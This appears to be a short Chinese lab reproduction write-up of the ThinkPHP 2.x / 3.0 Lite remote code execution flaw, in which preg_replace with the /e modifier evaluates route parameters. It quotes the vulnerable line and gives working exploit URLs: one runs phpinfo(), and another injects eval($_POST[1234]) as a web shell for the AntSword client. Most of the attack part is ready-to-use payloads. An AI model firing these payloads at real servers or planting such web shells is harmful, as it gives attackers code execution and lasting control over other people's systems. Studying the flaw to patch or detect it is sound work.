背景
ThinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由:
1 | $res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths)); |
导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。
ThinkPHP 3.0版本因为Lite模式下没有修复该漏洞,也存在这个漏洞。
复现过程
1.使用如下POC可查看phpinfo信息
1 | http://your-ip:8080/index.php?s=/index/index/name/$%7B@phpinfo()%7D |

2.使用蚁剑连接
1 | http://IP:8080/index.php?s=/index/index/name/${@print%28eval%28$_POST[1234]%29%29} |

3.url编码
- %7B: {
- %7D: }
- %28: (
- %29: )